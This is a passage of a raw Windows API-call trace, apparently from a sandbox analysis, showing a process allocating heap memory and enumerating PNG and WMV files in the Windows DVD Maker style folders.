Flags=0x8, Size=0x80) returned 0xfb8620 [0066.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd228 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbd840 [0066.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd248 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbd948 [0066.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.428] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd268 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbda50 [0066.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xc00) returned 0xfc1510 [0066.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd288 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbdb58 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd2a8 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbdc60 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.429] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd2c8 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbdd68 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd2e8 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbde70 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd308 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbdf78 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd328 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe080 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd348 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe188 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd368 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe290 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.431] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.431] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd388 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe398 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd3a8 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe4a0 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8620 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfbd3c8 [0066.432] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbe5a8 [0066.432] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8620) returned 1 [0066.432] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0066.433] GetLastError () returned 0x12 [0066.433] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.433] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0066.433] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 